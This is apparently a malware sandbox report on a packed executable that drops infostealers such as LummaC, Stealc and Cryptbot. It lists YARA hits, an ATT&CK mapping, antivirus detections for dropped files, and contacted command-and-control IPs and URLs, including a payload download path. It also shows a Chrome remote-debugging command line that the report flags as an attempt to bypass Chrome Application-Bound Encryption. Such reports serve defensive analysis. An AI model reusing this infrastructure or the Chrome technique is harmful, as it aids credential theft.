Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ

Source: Yara match	File source: 00000028.00000003.3414474083.0000000000E19000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.2880963508.00000000014D3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.3134050190.00000000014C4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000003.3413732620.0000000000E07000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.3006254804.00000000014D3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000003.3414123368.0000000000E0B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.3101184514.00000000014C4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000003.3360917053.0000000000E19000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000003.3354868759.0000000000E07000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.3133753282.00000000014D8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000003.3417667895.0000000000E0D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000003.3421730928.0000000000E19000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.2936457568.00000000014D2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.3101013930.00000000014D4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.2880169055.00000000014D0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 3907f97605.exe PID: 7488, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 3907f97605.exe PID: 4092, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"

Yara detected Credential Flusher

Source: Yara match	File source: Process Memory Space: 04dc07bf76.exe PID: 2300, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 04dc07bf76.exe PID: 5160, type: MEMORYSTR

Yara detected Cryptbot

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 3907f97605.exe PID: 7488, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 00000027.00000003.3061120785.0000000004C00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002E.00000003.3202171699.0000000005120000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 3ee5495637.exe PID: 2848, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 3ee5495637.exe PID: 420, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	21 Windows Management Instrumentation	1 Scripting	1 Abuse Elevation Control Mechanism	411 Disable or Modify Tools	2 OS Credential Dumping	13 File and Directory Discovery	Remote Services	11 Archive Collected Data	11 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	11 Input Capture	237 System Information Discovery	Remote Desktop Protocol	41 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	12 Command and Scripting Interpreter	1 Scheduled Task/Job	2 Bypass User Account Control	1 Abuse Elevation Control Mechanism	Security Account Manager	1 Query Registry	SMB/Windows Admin Shares	11 Input Capture	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	121 Registry Run Keys / Startup Folder	212 Process Injection	4 Obfuscated Files or Information	NTDS	861 Security Software Discovery	Distributed Component Object Model	1 Clipboard Data	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Scheduled Task/Job	12 Software Packing	LSA Secrets	3 Process Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	121 Registry Run Keys / Startup Folder	1 DLL Side-Loading	Cached Domain Credentials	361 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	2 Bypass User Account Control	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	121 Masquerading	Proc Filesystem	1 Remote System Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	361 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	212 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	55%	ReversingLabs	Win32.Packed.Themida
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1008746001\04dc07bf76.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1008747001\c7f41aa061.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\GuardTech Solutions\LionGuard.scr	0%	ReversingLabs
C:\Users\user\AppData\Local\InnoSphere Dynamics\InnoSphere.scr	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	37%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	39%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\QwGWuQZ[1].exe	11%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	42%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	42%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\fMb18eF[1].exe	8%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	29%	ReversingLabs	Win32.Trojan.AutoitInject
C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	37%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	8%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1008743001\QwGWuQZ.exe	11%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	42%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe	39%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1008746001\04dc07bf76.exe	29%	ReversingLabs	Win32.Trojan.AutoitInject
C:\Users\user\AppData\Local\Temp\1008747001\c7f41aa061.exe	42%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\662510\Ryan.com	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\768032\Finish.com	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Love	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Rocky	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Unit	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	55%	ReversingLabs	Win32.Packed.Themida
C:\Users\user\AppData\Local\Temp\service123.exe	46%	ReversingLabs	Win32.Trojan.Loaderz

Name	IP	Active	Malicious	Reputation
home.fvtekk5pn.top	34.116.198.130	true	false	high
services.addons.mozilla.org	151.101.1.91	true	false	high
property-imper.sbs	104.21.33.116	true	false	high
www.google.com	142.250.181.68	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
normandy-cdn.services.mozilla.com	35.201.103.21	true	false	high
fvtekk5pn.top	34.116.198.130	true	false	high
xmr-eu2.nanopool.org	51.15.89.13	true	false	high
EaUMrTLEnhJoi.EaUMrTLEnhJoi	unknown	unknown	true	unknown
js.monitor.azure.com	unknown	unknown	false	high
normandy.cdn.mozilla.net	unknown	unknown	false	high
mdec.nelreports.net	unknown	unknown	false	high
aXoOEZERyLjmcASXxTaZGLMxwNjgk.aXoOEZERyLjmcASXxTaZGLMxwNjgk	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.206/	true
http://home.fvtekk5pn.top/LCXOUUtXgrKhKDLYSbzW1732019347	true
https://property-imper.sbs/api	true
http://185.215.113.206/68b591d6548ec281/sqlite3.dll	true

URLs from Memory and Binaries

Name	Source	Malicious
https://duckduckgo.com/chrome_newtab	3907f97605.exe, 0000001F.00000003.2881129128.0000000005A68000.00000004.00000800.00020000.00000000.sdmp, 3907f97605.exe, 0000001F.00000003.2880484236.0000000005A7F000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3107521338.0000581800C50000.00000004.00000800.00020000.00000000.sdmp, 3907f97605.exe, 00000028.00000003.3366143322.00000000055BF000.00000004.00000800.00020000.00000000.sdmp, 3907f97605.exe, 00000028.00000003.3370186873.00000000055A8000.00000004.00000800.00020000.00000000.sdmp	false
https://mail.google.com/mail/?usp=installed_webapp	chrome.exe, 00000024.00000002.3103378526.00005818006B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.2997235456.00005818006D0000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/7760ty	chrome.exe, 00000024.00000002.3102018176.0000581800494000.00000004.00000800.00020000.00000000.sdmp	false
https://duckduckgo.com/ac/?q=	chrome.exe, 00000024.00000002.3104255542.00005818007D4000.00000004.00000800.00020000.00000000.sdmp, 3907f97605.exe, 00000028.00000003.3366143322.00000000055BF000.00000004.00000800.00020000.00000000.sdmp, 3907f97605.exe, 00000028.00000003.3370186873.00000000055A8000.00000004.00000800.00020000.00000000.sdmp	false
https://safebrowsing.google.com/safebrowsing/clientreport/chrome-sct-auditing	chrome.exe, 00000024.00000002.3101751478.00005818003CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3100005569.0000581800064000.00000004.00000800.00020000.00000000.sdmp	false
https://myaccount.google.com/find-your-phone?utm_source=ga-chrome-actions&utm_medium=findYourPhoneX	chrome.exe, 00000024.00000002.3103585240.00005818006B8000.00000004.00000800.00020000.00000000.sdmp	false
http://crl.microsoft	3907f97605.exe, 0000001F.00000003.3237931398.0000000001475000.00000004.00000020.00020000.00000000.sdmp, 3907f97605.exe, 0000001F.00000003.3325816740.00000000014BE000.00000004.00000020.00020000.00000000.sdmp, 3907f97605.exe, 0000001F.00000003.3134050190.0000000001475000.00000004.00000020.00020000.00000000.sdmp, 3907f97605.exe, 0000001F.00000003.3101184514.0000000001475000.00000004.00000020.00020000.00000000.sdmp	false
https://clients3.google.com/cast/chromecast/home/wallpaper/image?rt=b	chrome.exe, 00000024.00000002.3103895107.0000581800738000.00000004.00000800.00020000.00000000.sdmp	false
https://docs.google.com/document/J	chrome.exe, 00000024.00000002.3103378526.00005818006B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.2997235456.00005818006D0000.00000004.00000800.00020000.00000000.sdmp	false
https://myaccount.google.com/find-your-phone?utm_source=ga-chrome-actions&utm_medium=findYourPhone	chrome.exe, 00000024.00000002.3104136427.00005818007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3101585964.0000581800374000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3103585240.00005818006B8000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/4633	chrome.exe, 00000024.00000003.3026852595.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3107315372.0000581800BE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035454290.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	false
https://anglebug.com/7382	chrome.exe, 00000024.00000003.3026852595.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3107315372.0000581800BE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035454290.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	false
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	3907f97605.exe, 0000001F.00000003.2976959574.0000000005A59000.00000004.00000800.00020000.00000000.sdmp	false
https://issuetracker.google.com/284462263	chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	false
https://keep.google.com/u/0/?usp=chrome_actions#NEWNOTEkly	chrome.exe, 00000024.00000002.3104255542.00005818007D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3102059143.00005818004BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3107661873.0000581800C90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3104362093.000058180080C000.00000004.00000800.00020000.00000000.sdmp	false
http://185.215.113.43/Zu7JuNko/index.phpnu	skotes.exe, 00000006.00000003.2632123942.0000000001414000.00000004.00000020.00020000.00000000.sdmp	false
http://31.41.244.11/files/6856384433/fMb18eF.exe	skotes.exe, 00000006.00000003.2632197505.0000000001401000.00000004.00000020.00020000.00000000.sdmp	false
https://clients3.google.com/cast/chromecast/home/wallpaper/collection-images?rt=bX	chrome.exe, 00000024.00000002.3106246308.0000581800998000.00000004.00000800.00020000.00000000.sdmp	false
http://polymer.github.io/AUTHORS.txt	chrome.exe, 00000024.00000003.3042303486.000058180075C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3043024193.000058180120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3042923182.0000581801140000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3041604153.0000581800F88000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3042603680.0000581800310000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3101985702.0000581800488000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3106170589.000058180098F000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3041568389.0000581801078000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3041346441.0000581800F3C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3042342156.0000581800DA8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3042239945.0000581800CCC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3042274380.0000581800A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3041525811.0000581801028000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3041684922.0000581801044000.00000004.00000800.00020000.00000000.sdmp	false
https://docs.google.com/	chrome.exe, 00000024.00000003.2996703135.0000581800488000.00000004.00000800.00020000.00000000.sdmp	false
https://docs.google.com/document/:	chrome.exe, 00000024.00000002.3103378526.00005818006B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.2997235456.00005818006D0000.00000004.00000800.00020000.00000000.sdmp	false
https://photos.google.com/settings?referrer=CHROME_NTP	chrome.exe, 00000024.00000003.3040053844.0000581800FB0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3106170589.000058180098F000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3040626961.0000581800FB0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3106336063.00005818009D0000.00000004.00000800.00020000.00000000.sdmp	false
https://anglebug.com/7714	chrome.exe, 00000024.00000003.3026852595.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3107315372.0000581800BE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035454290.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	false
http://unisolated.invalid/	chrome.exe, 00000024.00000002.3106246308.0000581800998000.00000004.00000800.00020000.00000000.sdmp	false
https://photos.google.com?referrer=CHROME_NTP	chrome.exe, 00000024.00000003.3043024193.000058180120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3042923182.0000581801140000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3042603680.0000581800310000.00000004.00000800.00020000.00000000.sdmp	false
https://google-ohttp-relay-join.fastly-edge.com/hjh%	chrome.exe, 00000024.00000003.2875198001.0000256800684000.00000004.00000800.00020000.00000000.sdmp	false
https://property-imper.sbs/api0R	3907f97605.exe, 00000028.00000003.3413732620.0000000000E07000.00000004.00000020.00020000.00000000.sdmp	false
https://aka.ms/feedback/report?space=61	chromecache_156.42.dr	false
https://www.google.com/chrome/tips/	chrome.exe, 00000024.00000002.3105120069.000058180084C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3102760692.000058180064C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3100729464.00005818001C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3106070332.0000581800948000.00000004.00000800.00020000.00000000.sdmp	false
https://drive.google.com/?lfhs=2	chrome.exe, 00000024.00000002.3103378526.00005818006B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.2997235456.00005818006D0000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/6248	chrome.exe, 00000024.00000003.3026852595.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3107315372.0000581800BE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035454290.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/6929	chrome.exe, 00000024.00000003.3026852595.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3107315372.0000581800BE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035454290.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/5281	chrome.exe, 00000024.00000003.3026852595.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3107315372.0000581800BE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035454290.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	false
https://www.youtube.com/?feature=ytca	chrome.exe, 00000024.00000002.3103378526.00005818006B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.2997235456.00005818006D0000.00000004.00000800.00020000.00000000.sdmp	false
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	3907f97605.exe, 0000001F.00000003.3006443988.0000000005A58000.00000004.00000800.00020000.00000000.sdmp	false
https://issuetracker.google.com/255411748	chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	false
https://docs.google.com/document/u/0/create?usp=chrome_actions	chrome.exe, 00000024.00000002.3104255542.00005818007D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3102059143.00005818004BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3107661873.0000581800C90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3104362093.000058180080C000.00000004.00000800.00020000.00000000.sdmp	false
